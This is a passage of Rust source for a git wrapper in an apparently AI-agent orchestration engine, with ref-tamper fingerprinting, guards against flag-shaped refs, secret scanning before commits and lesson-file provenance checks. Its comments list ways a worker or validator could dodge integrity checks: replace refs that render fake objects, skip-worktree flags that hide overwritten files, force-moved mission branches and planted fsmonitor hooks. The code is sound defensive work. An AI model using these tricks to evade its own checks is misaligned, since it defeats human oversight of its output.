812 OsString::from("--file"),
813 git_path_arg(&std::path::absolute(common.join("config"))?).into_os_string(),
814 OsString::from("--no-includes"),
815 OsString::from("--bool"),
816 OsString::from("--get"),
817 OsString::from("extensions.worktreeConfig"),
818 ])?;
819 let enabled = if out.status.success() {
820 match std::str::from_utf8(&out.stdout).map(str::trim) {
821 Ok("true") => true,
822 Ok("false") => false,
823 _ => {
824 return Err(EngineError::Git(
825 "invalid worktree configuration scope".into(),
826 ))
827 }
828 }
829 } else if out.status.code() == Some(1) {
830 false
831 } else {
832 return Err(EngineError::Git(
833 "cannot determine worktree configuration scope".into(),
834 ));
835 };
836 Ok((git_dir, common, enabled))
837 }
838
839 /// Mission-significant refs for the tamper fingerprint: the CONTENT of
840 /// `refs/heads/kranz/*` (mission branches — a validator force-moving one
841 /// retargets the deliverable), `refs/tags/*`, AND `refs/replace/*` (a
842 /// replace ref changes how EVERY later git command resolves an object —
843 /// `git show <base>` renders a fake without HEAD, status, heads, or tags
844 /// moving), plus the COUNT of all `refs/heads/*` (a validator-created
845 /// sneaky branch shows as count+1).
846 ///
847 /// `refs/remotes/*` is excluded (ambient mirror state: any operator/CI
848 /// fetch), and other local heads' CONTENT is excluded too — the operator
849 /// committing to `main` mid-round is ambient work, not tamper (mission
850 /// m-83d1ed's second tripwire fire was exactly that: the instrumented
851 /// `refs` field catching the operator's own push to main).
852 pub fn for_each_ref(&self) -> Result<String> {
853 let scoped = self.run(&[
854 "for-each-ref",
855 "--format=%(refname) %(objectname)",
856 "refs/heads/kranz",
857 "refs/tags",
858 "refs/replace",
859 ])?;
860 let all_heads = self.run(&["for-each-ref", "--format=%(refname)", "refs/heads"])?;
861 let count = all_heads.lines().filter(|l| !l.trim().is_empty()).count();
862 Ok(format!("{scoped}heads-count: {count}\n"))
863 }
864
865 /// Name of the currently checked-out branch (`"HEAD"` when detached).
866 pub fn current_branch(&self) -> Result<String> {
867 Ok(self
868 .run(&["rev-parse", "--abbrev-ref", "HEAD"])?
869 .trim()
870 .to_string())
871 }
872
873 /// Sha of an arbitrary ref (`git rev-parse <refname>`).
874 ///
875 /// Rejects a flag-shaped `refname` (leading `-`) with an
876 /// [`EngineError::Git`] before invoking git, mirroring the guard on
877 /// [`GitRepo::add_worktree`]/[`GitRepo::merge_no_ff`]/
878 /// [`GitRepo::push_mission_branch`].
879 pub fn rev_parse(&self, refname: &str) -> Result<String> {
880 if refname.starts_with('-') {
881 return Err(EngineError::Git(format!(
882 "refusing rev-parse of flag-shaped ref {refname:?}"
883 )));
884 }
885 Ok(self.run(&["rev-parse", refname])?.trim().to_string())
886 }
887
888 /// Whether `ancestor` is an ancestor of (or equal to) `descendant`
889 /// (`git merge-base --is-ancestor <ancestor> <descendant>`).
890 ///
891 /// git's contract: exit 0 => `Ok(true)`; exit 1 => `Ok(false)`; any other
892 /// exit code is a real git failure, surfaced as [`EngineError::Git`].
893 /// Rejects a flag-shaped `ancestor`/`descendant` (leading `-`) before
894 /// invoking git, mirroring [`GitRepo::rev_parse`]/[`GitRepo::merge_no_ff`].
895 pub fn is_ancestor(&self, ancestor: &str, descendant: &str) -> Result<bool> {
896 for slot in [ancestor, descendant] {
897 if slot.starts_with('-') {
898 return Err(EngineError::Git(format!(
899 "refusing is_ancestor with flag-shaped ref {slot:?}"
900 )));
901 }
902 }
903 let out = self.probe(&["merge-base", "--is-ancestor", ancestor, descendant])?;
904 match out.status.code() {
905 Some(0) => Ok(true),
906 Some(1) => Ok(false),
907 _ => Err(EngineError::Git(format!(
908 "git merge-base --is-ancestor {ancestor} {descendant} failed ({}): {}",
909 out.status,
910 failure_detail(&out)
911 ))),
912 }
913 }
914
915 /// Whether a local branch of this name exists.
916 pub fn branch_exists(&self, name: &str) -> Result<bool> {
917 let git_ref = format!("refs/heads/{name}");
918 let out = self.probe(&["rev-parse", "--verify", "--quiet", &git_ref])?;
919 Ok(out.status.success())
920 }
921
922 /// Create branch `name` at `from` (a sha or ref), or at `HEAD` when
923 /// `from` is `None`. Does not check the branch out.
924 pub fn create_branch(&self, name: &str, from: Option<&str>) -> Result<()> {
925 let mut args = vec!["branch", name];
926 if let Some(start) = from {
927 args.push(start);
928 }
929 self.run(&args)?;
930 Ok(())
931 }
932
933 /// Check out an existing branch (or any committish).
934 pub fn checkout(&self, name: &str) -> Result<()> {
935 self.run(&["checkout", name])?;
936 Ok(())
937 }
938
939 /// True when the working tree has no changes at all. `--porcelain`
940 /// output includes untracked files, so those count as dirty too.
941 pub fn is_clean(&self) -> Result<bool> {
942 Ok(self.run(&["status", "--porcelain"])?.trim().is_empty())
943 }
944
945 /// Full `git status --porcelain` (v1) output: index + worktree status of
946 /// tracked files plus untracked non-ignored paths, respecting .gitignore
947 /// (so build-artifact churn like `target/` and the gitignored `.kranz`
948 /// runtime never appears). The validator immutability fingerprint
949 /// ([`crate::validator_integrity`]) compares this verbatim across a
950 /// session; v1's C-quoting keeps even exotic paths to one line per entry.
951 pub fn porcelain_status(&self) -> Result<String> {
952 // --untracked-files=all: the default collapses untracked DIRECTORIES
953 // (`?? dir/`), so files added inside an already-untracked dir would
954 // be invisible to the validator-integrity fingerprint (review 2 pass).
955 self.run(&["status", "--porcelain", "--untracked-files=all"])
956 }
957
958 /// `git ls-files -v`: every index entry with its flag column (`S` =
959 /// skip-worktree, lowercase = assume-unchanged). A `skip-worktree` flag
960 /// hides worktree modifications from `git status` entirely (4th-pass
961 /// review: set the flag, overwrite the file, HEAD and porcelain both
962 /// unchanged), so the immutability fingerprint covers the flags too.
963 pub fn ls_files_v(&self) -> Result<String> {
964 self.run(&["ls-files", "-v"])
965 }
966
967 /// Like [`Self::is_clean`] but ignoring untracked files: `true` when no
968 /// TRACKED file is modified, staged, or deleted. Untracked files never
969 /// block a branch switch (git carries them across), so restore-checkout
970 /// paths use this rather than full cleanliness.
971 pub fn is_clean_tracked(&self) -> Result<bool> {
972 Ok(self
973 .run(&["status", "--porcelain", "--untracked-files=no"])?
974 .trim()
975 .is_empty())
976 }
977
978 /// Like [`Self::is_clean_tracked`], but also rejects index flags that can
979 /// hide working-tree changes (`assume-unchanged`, `skip-worktree`, or
980 /// fsmonitor-valid).
981 ///
982 /// Scratch merge worktrees are never sparse and never need either flag,
983 /// so every tracked entry must have git's normal `H` tag.
984 pub fn is_clean_tracked_strict(&self) -> Result<bool> {
985 if !self.is_clean_tracked()? {
986 return Ok(false);
987 }
988 Ok(self
989 .run_seeing_fsmonitor(&["ls-files", "-v", "-f"])?
990 .lines()
991 .all(|line| line.starts_with("H ")))
992 }
993
994 /// Whether one tracked path has Git's normal index tag. Lowercase tags
995 /// (`assume-unchanged` or fsmonitor-valid) and `S` (`skip-worktree`) can
996 /// hide worktree bytes from ordinary diff/status commands and must not
997 /// guard a trust decision.
998 pub fn has_normal_index_entry(&self, path: &str) -> Result<bool> {
999 let output = self.run_seeing_fsmonitor(&["ls-files", "-v", "-f", "--", path])?;
1000 let mut lines = output.lines();
1001 Ok(lines.next() == Some(format!("H {path}").as_str()) && lines.next().is_none())
1002 }
1003
1004 /// `git ls-files` for the two index-flag DETECTIONS above, run with the
1005 /// repository's own `core.fsmonitor` setting left visible.
1006 ///
1007 /// The hardened handle neutralizes `core.fsmonitor=` because `git status`
1008 /// would otherwise execute a planted hook. But git only reports the
1009 /// fsmonitor-valid tag (`h`) when fsmonitor is CONFIGURED: with the key
1010 /// blanked, `ls-files -f` prints the ordinary `H` and the detection reads
1011 /// a flag-hidden file as clean — which is precisely the trust decision
1012 /// these two callers exist to refuse. `ls-files` reads the index without
1013 /// refreshing it and never invokes the hook (probed 2026-09-02: a
1014 /// `core.fsmonitor` script pointed at a sentinel is not run by
1015 /// `ls-files -f`), so keeping this one key visible costs nothing. Every
1016 /// other neutralization, and the nulled user/system config, stay in
1017 /// place.
1018 fn run_seeing_fsmonitor(&self, args: &[&str]) -> Result<String> {
1019 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
1020 let out = self.spawn_git(&os, UserConfig::Ignored, ExecFlags::SeeingFsmonitor)?;
1021 check_status(&os, out)
1022 }
1023
1024 /// `git add -A` then `git commit -m <message>`; returns the new head sha.
1025 ///
1026 /// A no-change commit attempt exits non-zero, so it surfaces as an
1027 /// [`EngineError::Git`] carrying git's own "nothing to commit" output.
1028 pub fn add_all_and_commit(&self, message: &str) -> Result<String> {
1029 self.run(&["add", "-A"])?;
1030 self.run(&["commit", "-m", message])?;
1031 self.head_sha()
1032 }
1033
1034 /// Paths currently dirty in the working tree (`git status --porcelain`),
1035 /// relative to the repo root. Empty when clean.
1036 pub fn dirty_paths(&self) -> Result<Vec<PathBuf>> {
1037 let out = self.run(&["status", "--porcelain", "-z"])?;
1038 let mut paths = Vec::new();
1039 // Porcelain -z records: XY<space>path\0, or for rename/copy
1040 // XY<space>newpath\0oldpath\0. Walk byte-wise so a bare oldpath
1041 // record is not mistaken for a status line.
1042 let bytes = out.as_bytes();
1043 let mut i = 0;
1044 while i < bytes.len() {
1045 if bytes[i] == 0 {
1046 i += 1;
1047 continue;
1048 }
1049 let start = i;
1050 while i < bytes.len() && bytes[i] != 0 {
1051 i += 1;
1052 }
1053 let entry = std::str::from_utf8(&bytes[start..i]).unwrap_or("");
1054 i += 1; // skip NUL
1055 if entry.len() < 4 {
1056 continue;
1057 }
1058 let status = &entry[..2];
1059 let path = if entry.as_bytes().get(2) == Some(&b' ') {
1060 &entry[3..]
1061 } else {
1062 entry.trim()
1063 };
1064 if path.is_empty() {
1065 continue;
1066 }
1067 paths.push(PathBuf::from(path));
1068 // Rename/copy: the record continues as `\0oldpath\0`. The source
1069 // path is part of the same change — a staged `git mv a b` must
1070 // report BOTH `b` and `a`, or a checkpoint commit scoped to the
1071 // dirty set commits only `b` and leaves the staged `D a` behind —
1072 // so it joins the dirty set rather than being skipped.
1073 if status.contains('R') || status.contains('C') {
1074 let old_start = i;
1075 while i < bytes.len() && bytes[i] != 0 {
1076 i += 1;
1077 }
1078 let old = std::str::from_utf8(&bytes[old_start..i]).unwrap_or("");
1079 if i < bytes.len() {
1080 i += 1; // skip NUL after oldpath
1081 }
1082 if !old.is_empty() {
1083 paths.push(PathBuf::from(old));
1084 }
1085 }
1086 }
1087 Ok(paths)
1088 }
1089
1090 /// Stage and commit only currently-dirty paths (scoped checkpoint).
1091 /// Prefer this over [`Self::add_all_and_commit`] for engine checkpoints so
1092 /// a concurrent operator edit outside the worker's tree is not scooped in
1093 /// via `git add -A`. No-op (returns current HEAD) when the tree is clean.
1094 ///
1095 /// A secret-scan refusal is reported as
1096 /// [`CheckpointOutcome::RefusedBySecretScan`], never as an `Err` —
1097 /// checkpoint callers sit on the mission loop and must record the refusal
1098 /// instead of erroring the run (see [`CheckpointOutcome`]). Real git
1099 /// failures still propagate.
1100 pub fn commit_dirty_paths(&self, message: &str) -> Result<CheckpointOutcome> {
1101 let paths = self.dirty_paths()?;
1102 if paths.is_empty() {
1103 return Ok(CheckpointOutcome::Committed(self.head_sha()?));
1104 }
1105 let refs: Vec<&Path> = paths.iter().map(PathBuf::as_path).collect();
1106 if let Some(detail) = self.secret_scan_refusal(&refs) {
1107 return Ok(CheckpointOutcome::RefusedBySecretScan { detail });
1108 }
1109 Ok(CheckpointOutcome::Committed(
1110 self.commit_paths_unscanned(&refs, message)?,
1111 ))
1112 }
1113
1114 /// Stage and commit only the given paths; returns the new head sha.
1115 ///
1116 /// Paths may be absolute or relative to the repo root. Content staged
1117 /// for *other* paths is left staged and untouched (`git commit -- <paths>`
1118 /// commits just the named pathspecs).
1119 ///
1120 /// Idempotent: if staging the named paths yields no change (e.g. a
1121 /// crash-replayed re-commit of byte-identical files), this is a no-op that
1122 /// returns the current head rather than an empty-commit error. An empty
1123 /// `paths` slice is still rejected up front.
1124 pub fn commit_paths(&self, paths: &[&Path], message: &str) -> Result<String> {
1125 if paths.is_empty() {
1126 return Err(EngineError::Git("commit_paths: no paths given".into()));
1127 }
1128 // Durable-record commits (plans, reports) treat a scan refusal as a
1129 // hard error: the engine authored those files itself, so a finding
1130 // there is a bug, not a worker leftover to route around. Checkpoint
1131 // callers go through commit_dirty_paths, which surfaces the same
1132 // refusal as a CheckpointOutcome instead.
1133 if let Some(detail) = self.secret_scan_refusal(paths) {
1134 return Err(EngineError::Git(detail));
1135 }
1136 self.commit_paths_unscanned(paths, message)
1137 }
1138
1139 /// The formatted refusal message when the engine secret scan (minus
1140 /// allowlisted fingerprints) finds anything in `paths`, or `None` when
1141 /// the commit may proceed. The message names the findings via
1142 /// [`scrub::format_findings`] (rule ids + fingerprints, never raw secret
1143 /// bytes) and the allowlist path for a reviewed waiver.
1144 fn secret_scan_refusal(&self, paths: &[&Path]) -> Option<String> {
1145 let allowed = std::fs::read_to_string(self.root.join(scrub::SECRET_ALLOWLIST_PATH))
1146 .ok()
1147 .map(|text| scrub::read_allowlist_text(&text))
1148 .unwrap_or_default();
1149 // Split the dirty paths: TRACKED files scan only the mission's added
1150 // lines (git diff HEAD) — a mission must not be refused for
1151 // pre-existing base content in a file it merely touches (m-0f1abd,
1152 // checkpoint-refused twice by unchanged base code). NEW (untracked)
1153 // files still scan full-file — `git diff HEAD` never sees them and
1154 // their whole content is added lines anyway.
1155 let (mut tracked, mut new_files) = (Vec::new(), Vec::new());
1156 for path in paths {
1157 let in_index = self
1158 .run_os(&[
1159 "ls-files".into(),
1160 "--error-unmatch".into(),
1161 "--".into(),
1162 path.as_os_str().to_os_string(),
1163 ])
1164 .is_ok();
1165 if in_index {
1166 tracked.push(*path);
1167 } else {
1168 new_files.push(*path);
1169 }
1170 }
1171
1172 let mut findings = Vec::new();
1173 if !tracked.is_empty() {
1174 let diff = self.diff_head_paths(&tracked).unwrap_or_default();
1175 findings.extend(scrub::scan_unified_diff(&diff));
1176 }
1177 if !new_files.is_empty() {
1178 findings.extend(scrub::scan_paths(&self.root, &new_files));
1179 }
1180 let findings = scrub::filter_allowed(findings, &allowed);
1181 if findings.is_empty() {
1182 None
1183 } else {
1184 Some(format!(
1185 "secret scan blocked engine commit; add a fingerprint to {} only for a reviewed false positive:\n{}",
1186 scrub::SECRET_ALLOWLIST_PATH,
1187 scrub::format_findings(&findings)
1188 ))
1189 }
1190 }
1191
1192 /// [`Self::commit_paths`] minus the secret scan. Private on purpose:
1193 /// every public commit path must either run the scan (commit_paths) or
1194 /// surface its refusal as a [`CheckpointOutcome`] (commit_dirty_paths).
1195 fn commit_paths_unscanned(&self, paths: &[&Path], message: &str) -> Result<String> {
1196 let path_args = paths.iter().map(|p| p.as_os_str().to_os_string());
1197
1198 // `git add` fatals ("pathspec ... did not match any files") on a path
1199 // that is gone from BOTH the working tree and the index — exactly a
1200 // rename/copy source whose deletion `git mv` already staged. Such a
1201 // path needs no staging (the commit pathspec below still carries the
1202 // staged deletion into the commit), so it is left out of the add. A
1203 // path merely deleted from the working tree but still in the index
1204 // stays in: `git add` stages that removal.
1205 let add_paths = self.addable_paths(paths)?;
1206 if !add_paths.is_empty() {
1207 let mut add: Vec<OsString> = vec!["add".into(), "--".into()];
1208 add.extend(add_paths.iter().map(|p| p.as_os_str().to_os_string()));
1209 self.run_os(&add)?;
1210 }
1211
1212 // Idempotent: if staging these pathspecs produced nothing (e.g. a
1213 // crash-replayed re-approval that rewrites byte-identical files), skip
1214 // the commit and return the unchanged head. `git commit` errors on an
1215 // empty commit, which would otherwise wedge the caller on replay.
1216 let mut staged: Vec<OsString> = vec![
1217 "diff".into(),
1218 "--cached".into(),
1219 "--name-only".into(),
1220 "--".into(),
1221 ];
1222 staged.extend(path_args.clone());
1223 if self.run_os(&staged)?.trim().is_empty() {
1224 return self.head_sha();
1225 }
1226
1227 let mut commit: Vec<OsString> =
1228 vec!["commit".into(), "-m".into(), message.into(), "--".into()];
1229 commit.extend(path_args);
1230 self.run_os(&commit)?;
1231
1232 self.head_sha()
1233 }
1234
1235 /// The subset of `paths` that `git add` can act on: present in the
1236 /// working tree (`symlink_metadata`, so a dangling symlink still counts)
1237 /// or still known to the index (a working-tree deletion whose removal
1238 /// `git add` stages). A path in NEITHER — e.g. the source of an
1239 /// already-staged rename — would make `git add` fail with "pathspec did
1240 /// not match any files", and has nothing left to stage anyway.
1241 fn addable_paths<'a>(&self, paths: &[&'a Path]) -> Result<Vec<&'a Path>> {
1242 let missing: Vec<&Path> = paths
1243 .iter()
1244 .copied()
1245 .filter(|p| {
1246 let full = if p.is_absolute() {
1247 p.to_path_buf()
1248 } else {
1249 self.root.join(p)
1250 };
1251 std::fs::symlink_metadata(full).is_err()
1252 })
1253 .collect();
1254 if missing.is_empty() {
1255 return Ok(paths.to_vec());
1256 }
1257 // One batched index probe for the disk-missing subset. `git ls-files`
1258 // exits 0 with empty output for pathspecs that match nothing, and
1259 // prints matches relative to the repo root.
1260 let mut ls: Vec<OsString> = vec!["ls-files".into(), "-z".into(), "--".into()];
1261 ls.extend(missing.iter().map(|p| p.as_os_str().to_os_string()));
1262 let in_index: std::collections::HashSet<PathBuf> = self
1263 .run_os(&ls)?
1264 .split('\0')
1265 .filter(|s| !s.is_empty())
1266 .map(PathBuf::from)
1267 .collect();
1268 Ok(paths
1269 .iter()
1270 .copied()
1271 .filter(|p| {
1272 let rel = p.strip_prefix(&self.root).unwrap_or(p);
1273 std::fs::symlink_metadata(self.root.join(rel)).is_ok() || in_index.contains(rel)
1274 })
1275 .collect())
1276 }
1277
1278 /// Commits reachable from `to` but not `from` (`from..to`), oldest first.
1279 pub fn commits_between(&self, from: &str, to: &str) -> Result<Vec<CommitInfo>> {
1280 let range = format!("{from}..{to}");
1281 // %x09 = tab separator; a subject can contain anything but a newline.
1282 let out = self.run(&["log", "--reverse", "--format=%H%x09%s", &range])?;
1283 let mut commits = Vec::new();
1284 for line in out.lines() {
1285 // `lines()` strips \n; strip a stray \r for CRLF robustness (§9).
1286 let line = line.trim_end_matches('\r');
1287 if line.is_empty() {
1288 continue;
1289 }
1290 let (sha, subject) = line.split_once('\t').unwrap_or((line, ""));
1291 commits.push(CommitInfo {
1292 sha: sha.to_string(),
1293 subject: subject.to_string(),
1294 });
1295 }
1296 Ok(commits)
1297 }
1298
1299 /// Count merge commits reachable from `to` but not `from`.
1300 pub fn merge_commit_count(&self, from: &str, to: &str) -> Result<usize> {
1301 for slot in [from, to] {
1302 if slot.starts_with('-') {
1303 return Err(EngineError::Git(format!(
1304 "refusing merge_commit_count with flag-shaped ref {slot:?}"
1305 )));
1306 }
1307 }
1308 let range = format!("{from}..{to}");
1309 let out = self.run(&["rev-list", "--merges", "--count", &range])?;
1310 out.trim().parse::<usize>().map_err(|e| {
1311 EngineError::Git(format!(
1312 "git rev-list --merges --count {range} returned non-numeric output {out:?}: {e}"
1313 ))
1314 })
1315 }
1316
1317 /// Count first-parent commits on `branch` whose committer date falls in
1318 /// `(since, until]` (`git rev-list --first-parent --count --since
1319 /// --until`) — the landed-changes denominator of the industry-comparison
1320 /// fold (ticket `outcomes-comparison-metrics`, KRZ-333). First-parent
1321 /// counts one entry per change that landed on the branch's own line of
1322 /// history — a direct commit or a `--no-ff` merge — never the commits a
1323 /// merge brought with it, so a landed mission merge and a hand-written
1324 /// commit each count once. git's `--since` is exclusive and `--until`
1325 /// inclusive; the timestamps go to git verbatim as RFC 3339.
1326 pub fn count_first_parent_commits(
1327 &self,
1328 branch: &str,
1329 since: &chrono::DateTime<chrono::Utc>,
1330 until: &chrono::DateTime<chrono::Utc>,
1331 ) -> Result<u64> {
1332 if branch.starts_with('-') {
1333 return Err(EngineError::Git(format!(
1334 "refusing count_first_parent_commits with flag-shaped ref {branch:?}"
1335 )));
1336 }
1337 let out = self.run(&[
1338 "rev-list",
1339 "--first-parent",
1340 "--count",
1341 &format!("--since={}", since.to_rfc3339()),
1342 &format!("--until={}", until.to_rfc3339()),
1343 branch,
1344 ])?;
1345 out.trim().parse::<u64>().map_err(|e| {
1346 EngineError::Git(format!(
1347 "git rev-list --first-parent --count {branch} returned non-numeric output {out:?}: {e}"
1348 ))
1349 })
1350 }
1351
1352 /// `git diff --stat <from>..<to>` output, verbatim.
1353 pub fn diff_stat(&self, from: &str, to: &str) -> Result<String> {
1354 let range = format!("{from}..{to}");
1355 self.run(&["diff", "--stat", &range])
1356 }
1357
1358 /// Full `git diff <from>..<to>` output, verbatim.
1359 pub fn diff_full(&self, from: &str, to: &str) -> Result<String> {
1360 let range = format!("{from}..{to}");
1361 self.run(&["diff", &range])
1362 }
1363
1364 /// Full `git diff <range>` output for a caller-supplied range.
1365 pub fn diff_range(&self, range: &str) -> Result<String> {
1366 if range.starts_with('-') || range.chars().any(char::is_whitespace) {
1367 return Err(EngineError::Git(format!(
1368 "refusing diff of malformed range {range:?}"
1369 )));
1370 }
1371 self.run(&["diff", range])
1372 }
1373
1374 /// Full staged diff (`git diff --cached`) output.
1375 pub fn diff_staged(&self) -> Result<String> {
1376 self.run(&["diff", "--cached"])
1377 }
1378
1379 /// Full `git diff --binary HEAD` output (index + working tree vs HEAD),
1380 /// verbatim — everything a worker left uncommitted on TRACKED files,
1381 /// binary-safe so it replays byte-for-byte through `git apply`
1382 /// ([`GitRepo::apply_patch`]). The validator snapshot
1383 /// ([`crate::validator_snapshot`]) captures this in the real checkout and
1384 /// applies it in the throwaway copy so validators judge exactly the tree
1385 /// the worker left.
1386 pub fn diff_head(&self) -> Result<String> {
1387 self.run(&["diff", "--binary", "HEAD"])
1388 }
1389
1390 /// `git apply <patch_file>` against the worktree (index untouched). The
1391 /// validator snapshot replays the real checkout's [`GitRepo::diff_head`]
1392 /// this way; the patch comes from a file path so no stdin plumbing is
1393 /// needed.
1394 pub fn apply_patch(&self, patch_file: &Path) -> Result<()> {
1395 let args: Vec<OsString> = vec!["apply".into(), git_path_arg(patch_file).into_os_string()];
1396 self.run_os(&args)?;
1397 Ok(())
1398 }
1399
1400 /// Untracked, non-ignored files (`git ls-files --others
1401 /// --exclude-standard -z`), repo-relative. `-z` gives unquoted raw paths
1402 /// (NUL is the only byte git never allows in one), so even
1403 /// newline-bearing names survive the split. Ignored paths (`target/`,
1404 /// the `.kranz` runtime) never appear — mirroring
1405 /// [`GitRepo::porcelain_status`].
1406 /// Untracked non-ignored files, NUL-separated raw bytes preserved:
1407 /// `ls-files -z` output is byte-oriented, and a name that is not valid
1408 /// UTF-8 must NOT be lossy-mangled — the replacement character turns
1409 /// into a path that then fails to copy and (pre-fix) was silently
1410 /// swallowed as NotFound (5th-pass review). On unix the raw bytes are
1411 /// used verbatim; on Windows (where git emits WTF-8) the lossy form is
1412 /// the pragmatic fallback, documented.
1413 pub fn untracked_files(&self) -> Result<Vec<std::ffi::OsString>> {
1414 let out = self.probe(&["ls-files", "--others", "--exclude-standard", "-z"])?;
1415 if !out.status.success() {
1416 return Err(EngineError::Git(format!(
1417 "git ls-files --others failed ({})",
1418 failure_detail(&out)
1419 )));
1420 }
1421 Ok(out
1422 .stdout
1423 .split(|b| *b == 0)
1424 .filter(|seg| !seg.is_empty())
1425 .map(|seg| {
1426 #[cfg(unix)]
1427 {
1428 use std::os::unix::ffi::OsStrExt as _;
1429 std::ffi::OsString::from(std::ffi::OsStr::from_bytes(seg))
1430 }
1431 #[cfg(not(unix))]
1432 {
1433 std::ffi::OsString::from(String::from_utf8_lossy(seg).into_owned())
1434 }
1435 })
1436 .collect())
1437 }
1438
1439 /// Full `git diff HEAD -- <paths>` output (index + working tree vs HEAD),
1440 /// verbatim — the checkpoint scan's "what this mission actually changed",
1441 /// never the pre-existing base content of files it merely touches.
1442 pub fn diff_head_paths(&self, paths: &[&Path]) -> Result<String> {
1443 let mut args: Vec<OsString> = vec!["diff".into(), "HEAD".into(), "--".into()];
1444 args.extend(paths.iter().map(|p| p.as_os_str().to_os_string()));
1445 self.run_os(&args)
1446 }
1447
1448 /// Full `git diff <from>..<to> -- <paths>` output, verbatim — the
1449 /// affected-path diff a Flight Rules waiver's digest binds (KRZ-344
1450 /// D-I): only changes under the named paths alter the bytes, so an
1451 /// unrelated-path change can never invalidate (or be covered by) the
1452 /// waiver. Refuses flag-shaped refs (the [`GitRepo::changed_paths`]
1453 /// guard) and an EMPTY path set — `git diff <range> --` with no
1454 /// pathspec silently means the WHOLE diff, which would bind authority
1455 /// the caller never scoped.
1456 pub fn diff_range_paths(&self, from: &str, to: &str, paths: &[String]) -> Result<String> {
1457 for slot in [from, to] {
1458 if slot.starts_with('-') {
1459 return Err(EngineError::Git(format!(
1460 "refusing diff_range_paths with flag-shaped ref {slot:?}"
1461 )));
1462 }
1463 }
1464 if paths.is_empty() {
1465 return Err(EngineError::Git(
1466 "refusing diff_range_paths with an empty path set — `--` alone means the \
1467 whole diff, not an empty one"
1468 .to_string(),
1469 ));
1470 }
1471 let range = format!("{from}..{to}");
1472 let mut args: Vec<OsString> = vec!["diff".into(), range.into(), "--".into()];
1473 args.extend(paths.iter().map(OsString::from));
1474 self.run_os(&args)
1475 }
1476
1477 /// Paths changed in `from..to` (`git diff --name-only <from>..<to>`),
1478 /// one per line as git reports them.
1479 ///
1480 /// Rejects a flag-shaped `from`/`to` (leading `-`) before invoking git,
1481 /// mirroring the guard on [`GitRepo::is_ancestor`]/[`GitRepo::rev_parse`].
1482 pub fn changed_paths(&self, from: &str, to: &str) -> Result<Vec<String>> {
1483 for slot in [from, to] {
1484 if slot.starts_with('-') {
1485 return Err(EngineError::Git(format!(
1486 "refusing changed_paths with flag-shaped ref {slot:?}"
1487 )));
1488 }
1489 }
1490 let range = format!("{from}..{to}");
1491 let out = self.run(&["diff", "--name-only", &range])?;
1492 Ok(out
1493 .lines()
1494 .map(|l| l.trim_end_matches('\r').trim())
1495 .filter(|l| !l.is_empty())
1496 .map(str::to_string)
1497 .collect())
1498 }
1499
1500 /// Whether `from..to` touches anything under `apps/dashboard/` — the
1501 /// signal the gate suite uses to decide whether to run the dashboard
1502 /// gates (roadmap M6 gated merge).
1503 pub fn dashboard_touched(&self, from: &str, to: &str) -> Result<bool> {
1504 Ok(self
1505 .changed_paths(from, to)?
1506 .iter()
1507 .any(|p| p.starts_with("apps/dashboard/")))
1508 }
1509
1510 /// The most recent commit that ADDED `rel_path` (repo-relative,
1511 /// forward-slash), with its subject and full message body — or `None` if
1512 /// the path is untracked / was never added under version control.
1513 ///
1514 /// Used to check lesson-file provenance: a lesson only reaches a planning
1515 /// prompt if a `[kranz] mission report` commit carrying a matching
1516 /// `Kranz-Mission` trailer introduced it, so an untracked drop or a
1517 /// worker feature-commit fails the check (see the lesson-manifest render).
1518 pub fn commit_that_added(&self, rel_path: &str) -> Result<Option<AddedCommit>> {
1519 if rel_path.starts_with('-') {
1520 return Err(EngineError::Git(format!(
1521 "refusing commit_that_added with flag-shaped path {rel_path:?}"
1522 )));
1523 }
1524 // Unit-separator (\x1f) between fields; -n 1 → the newest add commit
1525 // (lessons are append-only and never rewritten, so there is one).
1526 let out = self.run(&[
1527 "log",
1528 "--diff-filter=A",
1529 "-n",
1530 "1",
1531 "--format=%H%x1f%s%x1f%b",
1532 "--",
1533 rel_path,
1534 ])?;
1535 let out = out.trim_end_matches('\n');
1536 if out.is_empty() {
1537 return Ok(None);
1538 }
1539 let mut parts = out.splitn(3, '\u{1f}');
1540 let sha = parts.next().unwrap_or_default().trim().to_string();
1541 if sha.is_empty() {
1542 return Ok(None);
1543 }
1544 let subject = parts.next().unwrap_or_default().to_string();
1545 let body = parts.next().unwrap_or_default().to_string();
1546 Ok(Some(AddedCommit { sha, subject, body }))
1547 }
1548
1549 /// Whether `path` has a commit after the UTC `since_ymd` calendar day.
1550 ///
1551 /// Used by knowledge-refresh drift checks: a note whose `verified_against`
1552 /// path has history after `last_verified` is check-needed. Empty history
1553 /// (unknown path, or no commits in the window) is `false`, not an error.
1554 /// Flag-shaped/non-repository paths and invalid dates are refused before
1555 /// git runs. A non-zero `git log` is an error, never "unchanged".
1556 pub fn path_changed_since(&self, path: &str, since_ymd: &str) -> Result<bool> {
1557 let candidate = Path::new(path);
1558 if path.starts_with('-')
1559 || path.contains('\0')
1560 || path.is_empty()
1561 || candidate.components().any(|component| {
1562 matches!(
1563 component,
1564 std::path::Component::ParentDir
1565 | std::path::Component::RootDir
1566 | std::path::Component::Prefix(_)
1567 )
1568 })
1569 {
1570 return Err(EngineError::Git(format!(
1571 "refusing path_changed_since with non-repository path {path:?}"
1572 )));
1573 }
1574 let since_date =
1575 chrono::NaiveDate::parse_from_str(since_ymd, "%Y-%m-%d").map_err(|_| {
1576 EngineError::Git(format!(
1577 "refusing path_changed_since with non YYYY-MM-DD date {since_ymd:?}"
1578 ))
1579 })?;
1580 let normalized_since = since_date.format("%Y-%m-%d");
1581 if normalized_since.to_string() != since_ymd {
1582 return Err(EngineError::Git(format!(
1583 "refusing path_changed_since with non YYYY-MM-DD date {since_ymd:?}"
1584 )));
1585 }
1586 // Exclusive of the verification calendar day: `--since=YYYY-MM-DD`
1587 // includes that midnight, so a note verified the same day it was
1588 // committed would false-drift. End-of-day keeps date granularity.
1589 // Frontmatter dates are UTC calendar dates. Pin the offset so a note
1590 // checked near midnight cannot be current locally and drifted in CI.
1591 let since = format!("--since={normalized_since}T23:59:59Z");
1592 let out = self.probe(&["log", "-1", &since, "--format=%H", "--", path])?;
1593 if !out.status.success() {
1594 return Err(EngineError::Git(format!(
1595 "path_changed_since probe failed for {path:?}: {}",
1596 failure_detail(&out)
1597 )));
1598 }
1599 Ok(!String::from_utf8_lossy(&out.stdout).trim().is_empty())
1600 }
1601
1602 /// Create an annotated tag at `HEAD` (`git tag -a <name> -m <message>`).
1603 pub fn tag(&self, name: &str, message: &str) -> Result<()> {
1604 self.run(&["tag", "-a", name, "-m", message])?;
1605 Ok(())
1606 }
1607
1608 // -- worktrees (roadmap M3 parallel workers) ---------------------------
